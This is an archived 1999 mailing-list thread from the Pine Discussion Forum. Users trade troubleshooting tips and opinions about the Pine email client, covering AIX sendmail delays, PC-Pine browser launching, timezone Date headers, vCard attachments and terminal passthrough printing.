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If you set smtp-server to localhost, does that help/hurt?

-teg

On Thu, 18 Feb 1999, Roger Sabin wrote:

> To answer your questions:
>
> AIX 4.3
> Using whatever version of sendmail was shipped
> Pine 4.05
> Downloaded pine-bin.aix4.2, did not build our own copy of Pine
> We do not have /etc/resolv.conf or /etc/netsvc.conf. We are only using
> Pine internally for now.
>
> Any ideas?
>
> Roger Sabin
> [email protected]
>
> -----Original Message-----
> From: Shane Castle [SMTP:[email protected]]
> Sent: Tuesday, February 16, 1999 1:33 PM
> To: Pine Discussion Forum
> Subject: Re: AIX Slow Sendmail
>
> On Tue, 16 Feb 1999, Roger Sabin wrote (without using his enter key):
>
> >I am helping a company setup Pine on an AIX RS6000 box. (Don't know
> >the AIX version, but the box was purchased within the last year.) Pine
> >appears to be sending messages, but it takes a looooong time to process
> >the send. The screen shows "sending 0%" for a very long time. Is this
> >correct? Can it be fixed?
>
> I have no problems at all with pine on ours (AIX 4.1.5, Pine 4.10,
> sendmail 8.9.2, RS6000 7015-R50). You will have to answer these
> questions:
>
> What release of AIX?
> Is the sendmail the one shipped with AIX or is it locally built?
> If locally built, what release is it?
> What release of Pine?
> Was Pine built correctly? (sometimes a matter of personal preference)
>
> The answer might lie in none of the above. Improper DNS configurations
> have been known to cause slow MUA communications with sendmail. Check the
> /etc/resolv.conf and if there is an /etc/netsvc.conf. Do they have the
> correct information in them?
>
>

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From: Robert Larmon <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: strange occurence in PC-Pine 4.05 and 4.10.
Mime-Version: 1.0
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Hi,
I am an avid fan of PC-Pine, but there is one thing that is
bothering me. (Yes, I checked the newsgroup and the FAQ, but was
unsuccessful finding anything related)

I installed PC-Pine 4.05 from scratch on a user's system, who was
telnetting to Pine before. When he tries to select a valid URL, he gets
the message...

"Cannot find the file 'http://www-bcf.usc.edu/~ckallas' (or one of
its components). Make sure the path and filename are correct and that all
required libraries are available."

Now, he has tried this on multiple URL's, all which work on mine
and others using PC-Pine. (I just upgraded to 4.10 from 4.05, and I
noticed no similar problem in either version).

He is running Win95A w/Communicator 4.5 (I upgraded him from Netscape 4.08
thinking this might be the cause). These items are selected...

[X] enable-msg-view-attachments
[X] enable-msg-view-urls
[X] enable-msg-view-web-hostnames

Here is the Journal entry that Pine reports when the 1st user tries to
access a URL...

"Cannot spawn command : *Shell*"

My PC-Pine 4.10 says...

"VIEWER command completed"

To further confuse things, another user is also experiencing this problem,
and we just upgraded him to 4.10 from 3.95. His configuration is
identical except that he is using Netscape 4.07.

Any thoughts? Is there a hidden config variable I missed somewhere or
that was automatically set that would cause this? I looked through the
Pinerc file, and couldn't find any option related to this. I also looked
through the technical docs, with no luck.

HELP!

Thanks,

Robert

```````````````````````````````````````````````````````````````````````
` Robert Larmon `
` PC Systems Analyst `
` USC Law School Computing Services `
` [email protected] `
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

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From: Nicola Lenihan <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Attachments in Pine
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Hi everyone,
I am just wandering if there is anyway to automatically attach files to
every mail you send in Pine.
I wish to attach the same file to every mail I send. Is this possible?
Thanks in Advance.
Nicola Lenihan

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From: Jeff A Kinsey <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Attachments in Pine
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yes. you could use the 'sig' feature.

-jeff

On Sat, 20 Feb 1999, Nicola Lenihan wrote:

> Hi everyone,
> I am just wandering if there is anyway to automatically attach files to
> every mail you send in Pine.
> I wish to attach the same file to every mail I send. Is this possible?
> Thanks in Advance.
> Nicola Lenihan

--
"make no small plans - for they have no magic to stir man's souls"
electronic commerce for your business: www.edivision.net

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From: Timothy J Luoma <[email protected]>
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Subject: Re: Attachments in Pine
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Author: Jeff A Kinsey <[email protected]>
Date: Sat, 20 Feb 1999 08:49:06 -0500 (EST)
ID: <[email protected]>

> yes. you could use the 'sig' feature.

That's not really what they asked for, they don't want to include a file,
they want to attach a file

(Jeff: the following is NOT really directed at you. You
gave an example of it, but PINE's setup actually can
encourage the behavior I describe)

It is unfortunate that we have this new quoting style going around where we
forward the previous person's email (even though everyone on the list already
saw it) and just put our message at the top. It makes it hard to reply
properly.

There was a time when replies would have looked something like this:

<first reply>
Nicola Lenihan <[email protected]> wrote
> I wish to attach the same file to every mail I send. Is this possible?

yes. you could use the 'sig' feature.
</end first reply>

And then my message would have looked something like this:

Jeff A Kinsey <[email protected]> wrote:

> Nicola Lenihan <[email protected]> wrote
> > I wish to attach the same file to every mail I send. Is this
> > possible?
>
> yes. you could use the 'sig' feature.

Attaching a file and including a file are two different things. I'm not
100% sure which one Nicola was looking to accomplish.

Including an ASCII file, like a .sig file, can be accomplished in PINE.

_Attaching_ a file to every email is not possible in PINE as far as I know,
and thankfully so. I can't conceive of any attachment which would be useful
to send with every email message. It certainly would break mailing lists and
folks who still may not have MIME capabilities.

If you want to include a file, like a .sig, check out this line in the
Configuration screen of PINE:

signature-file = <No Value Set: using ".signature">

As far as attaching files, can't be done, and if it can be, it shouldn't be.

TjL

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From: Sean Farley <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Ideas for tokens and roles
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I have been playing around with my signature and thought of a few useful
ideas which I think would be nice for Pine to have.

The first idea is a token (ROLE) which would hold the e-mail being used in
a role. This would help me use one signature with many roles.

The second idea is a token (ROLENICK) which would hold the nickname of the
role. I thought this would be useful, but I can't recall why at this
time. I believe I was thinking something like this in the signature:
"_ROLENICK_ <_ROLE_>".

I think I am on a roll. :)

The third idea is concerning roles and replies. It would be nice if when
replying with a role that it would not ask to reply to all recipients when
it is only asking to reply to the role's address. For example, if my role
is [email protected] and someone sends e-mail to it, Pine will ask if I want
to reply to [email protected]. I would rather not. Might there be some way
to tell Pine not to consider addresses which match in the To: header as
other recipients?

Maybe Pine is not into role-playing? :)

Sean

P.S. Reply soon before I think up some other puns, and I will.
--------------
[email protected]

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From: Sean Farley <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Composition bug
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This is bug that I finally found how to duplicate during composition.
Take an arbitrary line such as the dashes I use in my signature. Place
the cursor on the line right before the dashes. Start typing "words" for
at least three lines worth. When wrapping around onto the second line,
the dashes will be pushed down a line. When wrapping around onto the
third line, the dashed lines are only indented a space or so.

<example>

asdf asdf asdf sdaf asdf asdf asdf sadf asdf asdf asdf sadf sadf asdf asdf
asdf asdf sadf sdfa safd sfad sadf sdfa asdf asdf sadf asdf sadf asdf asdf
asdf ---------------
[email protected]

</example>

At least I consider this a bug.

Sean
--------------
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From: Terry Gray <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: strange occurence in PC-Pine 4.05 and 4.10.
In-Reply-To: <[email protected]>
MIME-Version: 1.0
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Robert,
PC-Pine by default uses the windows registry to figure out what browser to
use, and for that matter, how to handle MIME attachments.

This seems to work fine with systems on which Internet Explorer 4.x has
been installed, but I think I've seen some other non-IE4 systems that had
troubles similar to yours. In other words, I think IE4 may install some
registry stuff that is necessary for Pine's registry sniffing to work
right.

I suspect that if you enter the URL in the Windows "Start/Run" dialog box,
it will fail with the same kinds of errors. (Normally on the Windows
systems I use, you can just enter "http://whatever" in the "Run" dialog
box, and that will automatically fire up the default browser.)

You can also experiment with the explicit browser path variable in the
pinerc...

-teg

On Fri, 19 Feb 1999, Robert Larmon wrote:

> Hi,
> I am an avid fan of PC-Pine, but there is one thing that is
> bothering me. (Yes, I checked the newsgroup and the FAQ, but was
> unsuccessful finding anything related)
>
> I installed PC-Pine 4.05 from scratch on a user's system, who was
> telnetting to Pine before. When he tries to select a valid URL, he gets
> the message...
>
> "Cannot find the file 'http://www-bcf.usc.edu/~ckallas' (or one of
> its components). Make sure the path and filename are correct and that all
> required libraries are available."
>
> Now, he has tried this on multiple URL's, all which work on mine
> and others using PC-Pine. (I just upgraded to 4.10 from 4.05, and I
> noticed no similar problem in either version).
>
> He is running Win95A w/Communicator 4.5 (I upgraded him from Netscape 4.08
> thinking this might be the cause). These items are selected...
>
> [X] enable-msg-view-attachments
> [X] enable-msg-view-urls
> [X] enable-msg-view-web-hostnames
>
> Here is the Journal entry that Pine reports when the 1st user tries to
> access a URL...
>
> "Cannot spawn command : *Shell*"
>
> My PC-Pine 4.10 says...
>
> "VIEWER command completed"
>
> To further confuse things, another user is also experiencing this problem,
> and we just upgraded him to 4.10 from 3.95. His configuration is
> identical except that he is using Netscape 4.07.
>
> Any thoughts? Is there a hidden config variable I missed somewhere or
> that was automatically set that would cause this? I looked through the
> Pinerc file, and couldn't find any option related to this. I also looked
> through the technical docs, with no luck.
>
> HELP!
>
> Thanks,
>
> Robert
>
>
>
> ```````````````````````````````````````````````````````````````````````
> ` Robert Larmon `
> ` PC Systems Analyst `
> ` USC Law School Computing Services `
> ` [email protected] `
> '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
>
>
>
>

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From: Jeff A Kinsey <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Attachments in Pine
References: <[email protected]>
<199902201629.LAA03853@ocalhost>
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i feel that my solution is valid for her inquiry... as it turns out, she really
did not want to attach the "same file" [which is what she ask for],
but various files.

-jeff

Timothy J Luoma wrote:

>
> > yes. you could use the 'sig' feature.
>
> That's not really what they asked for, they don't want to include a file,
> they want to attach a file
>

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: Jeff A Kinsey <[email protected]>
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Subject: Re: Attachments in Pine
References: <[email protected]>
<199902201629.LAA03853@ocalhost>
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i happen to like the method you call 'unfortunate'. netscape mail does it the
same way as pine [as evidenced by this note]. when necessary, i have
simply stated "see comments below" and then dove into the message body
adding my two cents worth at the appropriate spot.

-jeff

Timothy J Luoma wrote:

> (Jeff: the following is NOT really directed at you. You
> gave an example of it, but PINE's setup actually can
> encourage the behavior I describe)
>
> It is unfortunate that we have this new quoting style going around where we
> forward the previous person's email (even though everyone on the list already
> saw it) and just put our message at the top. It makes it hard to reply
> properly.
>

<< stuff deleted >>

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From: Mike Miller <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: MHonArc and "FOLDER INTERNAL DATA"
MIME-Version: 1.0
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I'm using MHonArc to translate some of my mail folders into an indexed
html archive. If you haven't tried MHonArc, it's great. Read about it
here:

http://www.oac.uci.edu/indiv/ehood/mhonarc.html

I'm having a problem with the FOLDER INTERNAL DATA messages created by
pine. For example, see here:

http://taxa.psyc.missouri.edu/bgnews/1999/

Every time I update, the FOLDER INTERNAL DATA message has changed, so it
is added again. I know that I can turn off this pine feature, but I
really only want to turn it off for certain folders. Is it possible to do
that? If not, the added flexibility is a feature I could use.

Does anyone else have experience with MHonArc and the new pine folders?
I can't find a way to make MHonArc ignore the FOLDER INTERNAL DATA
messages. I'd really appreciate a tip on this if you have a minute.

Thanks very much,

Mike

--
Michael B. Miller, Ph.D.
University of Missouri--Columbia
http://taxa.psyc.missouri.edu/~mbmiller/

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From: System Administrator <[email protected]>
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When I start pine, it asks for the pop3 username, and automatically
inserts garbage characters, and I always have to "Control-K" to get rid of
it...I would like to know if there is a way to fix this. Thank you for
your time.

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From: Mike Miller <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: MHonArc and "FOLDER INTERNAL DATA"
In-Reply-To: <[email protected]>
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I read pine-info in digest form, so if there have been replies on the
list, I have missed them so far. I just thought I should say a couple of
things in response to my own question. First, my example URL showing the
FOLDER INTERNAL DATA problem is no longer valid because I have fixed it
here:

> http://taxa.psyc.missouri.edu/bgnews/1999/

What I'm doing is using the 'tail' command do get rid of the first part of
the mbox before I run mhonarc on it:

tail +13 path/folder > ! path/folder.fixed
mhonarc -outdir archivepath -add path/folder.fixed

It seems that "tail +13" handles every folder properly. It works for me,
but I have enough disk space and relatively small archives.

I did verify that MHonArc cannot exclude messages based on the subject.

Regards,

Mike

--
Michael B. Miller
University of Missouri--Columbia
http://taxa.psyc.missouri.edu/~mbmiller/

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From: Mike Miller <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: MHonArc and "FOLDER INTERNAL DATA"
In-Reply-To: <[email protected]>
MIME-Version: 1.0
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X-To: "Death's Angel" <[email protected]>
X-Cc: Pine Discussion Forum <[email protected]>
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On Sun, 21 Feb 1999, Death's Angel wrote:

> by Enabling:
>
> quell-folder-internal-msg
>
> It will stop future mailboxes having the "INTERNAL DATA" folder.

Thanks Mr. Angel, but that applies to all folders, right? I can't turn it
off for only certain folders but not others. Is that right?

Regards,

Mike

--
Michael B. Miller
University of Missouri--Columbia
http://taxa.psyc.missouri.edu/~mbmiller/

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From: "Iris Mayer" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Problems with Date-header in pc-pine 4.10
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I just installed Version 4.10 of PC-pine on my Win95-PC.

As in Version 4.05, pine produces a wrong Date header field. Many Mail
clients are inable to handle correctly mails with such headers.

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for <[email protected]>; Mon, 22 Feb 1999 09:23:38 +0100
(MET)
Date: Mon, 22 Feb 1999 09:23:37 +0100 (=?X-
UNKNOWN?Q?=28MEZ=29_Mitteleurop=E4ische_Zeit?=)
From: Iris Mayer <[email protected]>
To: Iris Mayer <[email protected]>
Subject: test pine 4.10
Message-ID: <Pine.WNT.4.10.9902220923120.-1025605-
[email protected]
mannheim.de> X-X-Sender: [email protected] MIME-Version:
1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII X-PMFLAGS: 34078848 0 1
P762F0.CNM

I already reported that bug of pc-pine in November 98 (Tue, 17 Nov 1998)
but didn't get more that a robot-answer. I hope, there will be more this
time!

Iris Mayer

----------------------------------------------------
Iris Mayer
Computing Center
Mannheim University
D-68131 Mannheim
email: [email protected]
phone: ++49 621 292 3585
fax: ++49 621 292 5220
office: L15,16 (room 922)

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From: "Iris Mayer" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: view all headers
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN

How can I see all headers of my received mails.
PegasusMail offers a menu "view all headers", Netscape offers "show all
headers", Solaris Mailtool offers "view full header" - what is the equivalent in
pine?

Thanks in advance,
Iris Mayer

----------------------------------------------------
Iris Mayer
Computing Center
Mannheim University
D-68131 Mannheim
email: [email protected]
phone: ++49 621 292 3585
fax: ++49 621 292 5220
office: L15,16 (room 922)
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On Mon, 22 Feb 1999, Iris Mayer wrote:

> How can I see all headers of my received mails.
> PegasusMail offers a menu "view all headers", Netscape offers "show all
> headers", Solaris Mailtool offers "view full header" - what is the equivalent in
> pine?
>
> Thanks in advance,
> Iris Mayer
>
===============================
use the h key to show/hide headers. ensure that you have turned on the
"enable-full-header-cmd" in the setup/configuration menu - might be turned on
already, by default.

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From: SUHAS KRISHNA <[email protected]>
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Attn:-All recipents of this letter

Kindly exclude me from your mailing list .

Thanking you ,
Suhas

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Subject: "please exclude me" WAS: Re: view all headers
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See http://www.washington.edu/pine/pine-info/subscribing.html
Read, people, read.

--
Ken Woods
[email protected]

On Mon, 22 Feb 1999, SUHAS KRISHNA wrote:
> Attn:-All recipents of this letter Kindly exclude me from your mailing
> list . Thanking you , Suhas

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At 10:49 AM 2/22/99 -0500, you wrote:
>
>See http://www.washington.edu/pine/pine-info/subscribing.html
>Read, people, read.
>

<AOL>!<AOL>!<AOL>!

cHRis

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From: Dan Wing <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Attachments in Pine
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On Sat, 20 Feb 1999 11:29 -0500, Timothy J Luoma wrote:

> _Attaching_ a file to every email is not possible in PINE as far as I know,
> and thankfully so. I can't conceive of any attachment which would be useful
> to send with every email message. It certainly would break mailing lists and
> folks who still may not have MIME capabilities.

vCards are something that can be useful. Arguments can be made for
how ugly they are, or that non-MIME readers may find them awkward, but
many folks appreciate them. I, for one, prefer someone attach a vCard
rather than a huge signature containing all their contact information.

Information on vCard is at <http://www.imc.org/pdi/>.

-Dan Wing

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On Mon, 22 Feb 1999, Dan Wing wrote:
> vCards are something that can be useful. Arguments can be made for

Yep. Really useful for those of us running in a *nix environment.
>From the web page you provided: "You click the vCard button...."

hmm...click on what? The part of the email that says:
"[ Cannot display this part. Press "V" then "S" to save in a file. ]"
Click on that?
*sigh*

> how ugly they are, or that non-MIME readers may find them awkward,

You left out the part about how they don't comply to RFC 821, RFC 822, or
RFC 1049.

> but many folks appreciate them.

So, the rest of us should suffer?

> I, for one, prefer someone attach a vCard rather than a huge signature
> containing all their contact information.

[email protected]
That's all you need to know.
If you want more info, then email me, and I'll get back with you.

--
Ken Woods
[email protected]

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Date: Mon, 22 Feb 1999 12:23:59 -0500 (EST)
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From: Nancy McGough <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Problems with Date-header in pc-pine 4.10
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On 22 Feb 1999, Iris Mayer <[email protected]> wrote:
> As in Version 4.05, pine produces a wrong Date header field. Many Mail
> clients are inable to handle correctly mails with such headers.

Try setting the TZ environment variable. I've got instructions for how
to do this and a link to a list of possible TZ settings at:

http://www.ii.com/internet/messaging/pine/pc/

Good luck,
Nancy

--
For Pine info & links, see www.ii.com/internet/messaging/pine/

�Nancy McGough http://www.ii.com Infinite Ink
--= Sent via PINE: Power Internet News & Email for Win/Unix =--

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From: Steve Hubert <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Problems with Date-header in pc-pine 4.10
In-Reply-To: <[email protected]>
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The Date header in 4.10 is not wrong. All of the funny stuff is inside of
an RFC822 comment, so should be ignored (as far as parsing the date goes)
by mail clients. In 4.05, the funny stuff was not in a comment, and that
was wrong, but 4.10 is correct. (Not that this will help you solve your
problem.)

--
Steve Hubert <[email protected]>
Networks and Distributed Computing, Univ. of Washington, Seattle

On Mon, 22 Feb 1999, Iris Mayer wrote:

> I just installed Version 4.10 of PC-pine on my Win95-PC.
>
> As in Version 4.05, pine produces a wrong Date header field. Many Mail
> clients are inable to handle correctly mails with such headers.

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Subject: Re: Attachments in Pine
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To me, the problem with vCards isn't that they are sent as a MIME
attachment (which is a good thing IMHO) or that they are ugly (since
they are meant to be used to easily transfer the data into your
addressbook). The problem is that people shouldn't be automatically
sending them with *every* message they send. This is a waste of
bandwidth as the message travels through the Net and a waste of disk
space when a user saves a bunch of messages from someone and every
single one has the person's vCard. Like Ken said, just send people a
pointer to where they can get the info -- either a web address, email
address, or best of all a publicly-accessible IMAP server where the
vCard is stored in a message and people can use their mailer to go
grab the vCard and put the info into their addressbook when/if they
want it.

--
For Pine info & links, see www.ii.com/internet/messaging/pine/

�Nancy McGough http://www.ii.com Infinite Ink
--= Sent via PINE: Power Internet News & Email for Win/Unix =--

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From: Steve Hubert <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Attachments in Pine
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Pine should be able to display and save vcard attachments. A Save of a
vcard attachment should offer to save it to your address book. When you
forward a pine address book entry it may be forwarded as a vcard
attachment. However, there is no way to attach a vcard as a signature,
other than doing it manually.

--
Steve Hubert <[email protected]>
Networks and Distributed Computing, Univ. of Washington, Seattle

On Mon, 22 Feb 1999, Ken Woods wrote:

> On Mon, 22 Feb 1999, Dan Wing wrote:
> > vCards are something that can be useful. Arguments can be made for
>
> Yep. Really useful for those of us running in a *nix environment.
> >From the web page you provided: "You click the vCard button...."
>
> hmm...click on what? The part of the email that says:
> "[ Cannot display this part. Press "V" then "S" to save in a file. ]"
> Click on that?
> *sigh*

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From: Dan Wing <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: vCard (was Re: Attachments in Pine)
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On Mon, 22 Feb 1999 12:01 -0500, Ken Woods wrote:

> On Mon, 22 Feb 1999, Dan Wing wrote:
> > vCards are something that can be useful. Arguments can be made for
>
> Yep. Really useful for those of us running in a *nix environment.
> From the web page you provided: "You click the vCard button...."
>
> hmm...click on what? The part of the email that says:
> "[ Cannot display this part. Press "V" then "S" to save in a file. ]"
> Click on that?
> *sigh*

The lack of a thing to click isn't a Unix problem but rather a
character-based MUA problem. I don't see how that invalidates
vCards. The web page I referenced is mostly for end users who
primiarly use MUAs with GUIs.

Support for vCards could be added to pine. It could be implemented in a
fashion similar to the existing "Take Addr" feature (which scans the
message for email addresses to add to your local addressbook).

> > how ugly they are, or that non-MIME readers may find them awkward,
>
> You left out the part about how they don't comply to RFC 821, RFC 822, or
> RFC 1049.

I don't see how vCards are compliant or not compliant with RFC821 -- or
any other message content is compliant or not compliant with RFC821.

As a defined MIME type, vCards seem as compliant with RFC822 as MIME
itself is compliant with RFC822.

RFC1049 was obsoleted by MIME.

> > but many folks appreciate them.
>
> So, the rest of us should suffer?

I'm not sure how to answer that question.

vCard support seems to be growing, increasing the likelyhood that a
received message will contain a vCard. If the receipient's MUA doesn't
support vCards (or MIME) the vCard may be ugly and cause some grief - but
the sender has no way of knowing if the recipient's mailer supports vCards
or MIME.

I'm not here to defend vCards - I merely pointed out why attaching a file
to a message may be desirable for some users. I think such a discussion
is more appropriate on a non-pine mailing list, such as the vcard mailing
list [email protected] (to subscribe, send mail to
[email protected]).

-Dan Wing

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From: Ken Woods <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: vCard (was Re: Attachments in Pine)
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On Mon, 22 Feb 1999, Dan Wing wrote:
> I'm not here to defend vCards - I merely pointed out why attaching a
> file to a message may be desirable for some users.

We'll agree to disagree, and leave it at that.

--
Ken Woods
[email protected]

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From: Nancy McGough <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: UI of Pine on X-Windows vs. MS-Windows?
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How does the user interface of PC-Pine compare to Pine in X-Windows
(or another windowing environment on Unix). Does the Unix version have
drop-down menus, pop-up menus, etc.? Is it essentially the same UI as
PC-Pine.

Thanks for any info,
Nancy

PS - One of these days, I'll set up a Linux machine here so I can
figure out this stuff myself.

--
�Nancy McGough http://www.ii.com Infinite Ink
--= Sent via PINE: Power Internet News & Email for Win/Unix =--

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From: Terry Gray <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: UI of Pine on X-Windows vs. MS-Windows?
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Nancy,
There is no X-windows version of Pine at this time.
However, Unix Pine can run in an "xterminal" window on systems with X, and
can then utilize a mouse for clicking on things (if that feature is
enabled), but in all other respects, it looks like Unix Pine, not PC-Pine.

-teg

On Mon, 22 Feb 1999, Nancy McGough wrote:

> How does the user interface of PC-Pine compare to Pine in X-Windows
> (or another windowing environment on Unix). Does the Unix version have
> drop-down menus, pop-up menus, etc.? Is it essentially the same UI as
> PC-Pine.
>
> Thanks for any info,
> Nancy
>
> PS - One of these days, I'll set up a Linux machine here so I can
> figure out this stuff myself.
>
>

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From: Daniel Sands <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: UI of Pine on X-Windows vs. MS-Windows?
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There is no X-Windows pine IIRC. UNIX pine is text only. Probably because
the basic X toolkit is rather clumsy, and Motif is not included with every
UNIX clone out there.

Maybe if Lesstif becomes viable, the Pine people will create a GUI for it.

On Mon, 22 Feb 1999, Nancy McGough wrote:

> How does the user interface of PC-Pine compare to Pine in X-Windows
> (or another windowing environment on Unix). Does the Unix version have
> drop-down menus, pop-up menus, etc.? Is it essentially the same UI as
> PC-Pine.

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On 22 Feb 1999, Terry Gray <[email protected]> wrote:
> There is no X-windows version of Pine at this time.
> However, Unix Pine can run in an "xterminal" window on systems with X, and
> can then utilize a mouse for clicking on things (if that feature is
> enabled), but in all other respects, it looks like Unix Pine, not PC-Pine.

Thanks for the info. Are there plans to do a GUI Unix Pine? If so,
where on the priority list is it? I.e., is it possibile it would
happen within a year?

On the subject of priority list: Do you think that the pipe command
will work in PC-Pine within a year?

Thanks,
Nancy

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From: Nancy McGough <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: suggestion for Pine Help & Q about bugs/suggestions
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The context-sensitive Help about index-format mentions STATUS and
FULLSTATUS, but it does not mention IMAPSTATUS. It would be useful to
add info about that.

Where is the best place to send these kind of suggestions and bug
reports -- here or comp.mail.pine? I think it's useful to post them
publicly so people know about the bugs and also so someone doesn't
spend time writing up a bug that's already been reported. But, I don't
know which is the more appropriate place...

Thanks,

--
�Nancy McGough http://www.ii.com Infinite Ink
--= Sent via PINE: Power Internet News & Email for Win/Unix =--

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From: Terry Gray <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: UI of Pine on X-Windows vs. MS-Windows?
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We used to make predictions of the future, but gave it up for lent.

-teg

On Mon, 22 Feb 1999, Nancy this-address-is-valid McGough wrote:

> On 22 Feb 1999, Terry Gray <[email protected]> wrote:
> > There is no X-windows version of Pine at this time.
> > However, Unix Pine can run in an "xterminal" window on systems with X, and
> > can then utilize a mouse for clicking on things (if that feature is
> > enabled), but in all other respects, it looks like Unix Pine, not PC-Pine.
>
> Thanks for the info. Are there plans to do a GUI Unix Pine? If so,
> where on the priority list is it? I.e., is it possibile it would
> happen within a year?
>
> On the subject of priority list: Do you think that the pipe command
> will work in PC-Pine within a year?
>
> Thanks,
> Nancy
>
>

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From: Joerg Friedrich <[email protected]>
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just press 4R4 for rich headers when viewing a mail

On Mon, 22 Feb 1999, Iris Mayer wrote:

> How can I see all headers of my received mails.
> PegasusMail offers a menu "view all headers", Netscape offers "show all
> headers", Solaris Mailtool offers "view full header" - what is the equivalent in
> pine?
>
> Thanks in advance,
> Iris Mayer
>
> ----------------------------------------------------
> Iris Mayer
> Computing Center
> Mannheim University
> D-68131 Mannheim
> email: [email protected]
> phone: ++49 621 292 3585
> fax: ++49 621 292 5220
> office: L15,16 (room 922)
>

--
Heute ist nicht alle Tage, ich komme wieder, keine Frage!!!

Joerg

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From: Michael Talbot-Wilson <[email protected]>
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Subject: Re: UI of Pine on X-Windows vs. MS-Windows?
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On Mon, 22 Feb 1999, Daniel Sands wrote:

> There is no X-Windows pine IIRC. UNIX pine is text only. Probably because
> the basic X toolkit is rather clumsy, and Motif is not included with every
> UNIX clone out there.
>
> Maybe if Lesstif becomes viable, the Pine people will create a GUI for it.

But there are, of course, other Unix mail clients for X.

>
> On Mon, 22 Feb 1999, Nancy McGough wrote:
>
> > How does the user interface of PC-Pine compare to Pine in X-Windows
> > (or another windowing environment on Unix). Does the Unix version have
> > drop-down menus, pop-up menus, etc.? Is it essentially the same UI as
> > PC-Pine.
>

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From: laura <[email protected]>
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Does anyone know the specifics of why this command doesn't work on all
printers that are directly attached to a computer?
Is it more printer related?
More OS related?
or more related to the version of telnet being used?
Could it be related to different versions of PINE? (used to work on an
older version, now it doesn't)

Any feedback would be greatly appreciated!

Laura

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From: Bob Rasmussen <[email protected]>
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Subject: Re: attached to ansi
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On Mon, 22 Feb 1999, laura wrote:

> Does anyone know the specifics of why this command doesn't work on all
> printers that are directly attached to a computer?
> Is it more printer related?
> More OS related?
> or more related to the version of telnet being used?
> Could it be related to different versions of PINE? (used to work on an
> older version, now it doesn't)

We have experienced no problems with this in ANY version of Pine. Rather, it
is an issue of how well your telnet (terminal emulation) program supports
passthrough print. The TELNET.EXE included with Windows has NEVER supported
it, as far as I know. Quality of support varies greatly among various
available telnet programs.

I invite you to try out Anzio Lite, which supports it quite well:
http://www.anzio.com

Regards,
...Bob Rasmussen, President, Rasmussen Software, Inc.

personal e-mail: [email protected]
company e-mail: [email protected] or [email protected] or [email protected]
ftp://ftp.anzio.com voice: 503-624-0360
http://www.anzio.com fax: 503-624-0760

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From: Dennis Gurgul <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: attached to ansi
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The only telnet where this works for me is SmarTerm.

Dennis J. Gurgul
Helix Server Management
617.724.3169

On Mon, 22 Feb 1999, laura wrote:

> Does anyone know the specifics of why this command doesn't work on all
> printers that are directly attached to a computer?
> Is it more printer related?
> More OS related?
> or more related to the version of telnet being used?
> Could it be related to different versions of PINE? (used to work on an
> older version, now it doesn't)
>
> Any feedback would be greatly appreciated!
>
> Laura
>
> --
> -----------------------------------------------------------------
> For information about this mailing list, and its archives, see:
> http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
>

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From: Robert Larmon <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: attached to ansi
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Ditto for us. We've never had any problems, except user error :) Our
personal favorite is Netterm, which is at

http://Starbase.NeoSoft.COM/~zkrr01/

I also like another package called CRT, at www.vandyke.com.

Robert

On Mon, 22 Feb 1999, Bob Rasmussen wrote:

> On Mon, 22 Feb 1999, laura wrote:
>
> > Does anyone know the specifics of why this command doesn't work on all
> > printers that are directly attached to a computer?
> > Is it more printer related?
> > More OS related?
> > or more related to the version of telnet being used?
> > Could it be related to different versions of PINE? (used to work on an
> > older version, now it doesn't)
>
> We have experienced no problems with this in ANY version of Pine. Rather, it
> is an issue of how well your telnet (terminal emulation) program supports
> passthrough print. The TELNET.EXE included with Windows has NEVER supported
> it, as far as I know. Quality of support varies greatly among various
> available telnet programs.
>
> I invite you to try out Anzio Lite, which supports it quite well:
> http://www.anzio.com
>
> Regards,
> ....Bob Rasmussen, President, Rasmussen Software, Inc.
>
> personal e-mail: [email protected]
> company e-mail: [email protected] or [email protected] or [email protected]
> ftp://ftp.anzio.com voice: 503-624-0360
> http://www.anzio.com fax: 503-624-0760
>

```````````````````````````````````````````````````````````````````````
` Robert Larmon `
` PC Systems Analyst `
` USC Law School Computing Services `
` [email protected] `
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

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On 23 Feb 1999, Michael Talbot-Wilson <[email protected]> wrote:
> But there are, of course, other Unix mail clients for X.

Yes, but are any of them as feature-rich and powerful as Pine?

--
�Nancy McGough http://www.ii.com Infinite Ink
--= Sent via PINE: Power Internet News & Email for Win/Unix =--

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From: Timothy J Luoma <[email protected]>
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Subject: Re: Attachments in Pine
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Author: Dan Wing <[email protected]>
Date: Mon, 22 Feb 1999 07:59:46 -0800 (PST)
ID: <[email protected]>

> vCards are something that can be useful. Arguments can be made for
> how ugly they are, or that non-MIME readers may find them awkward, but
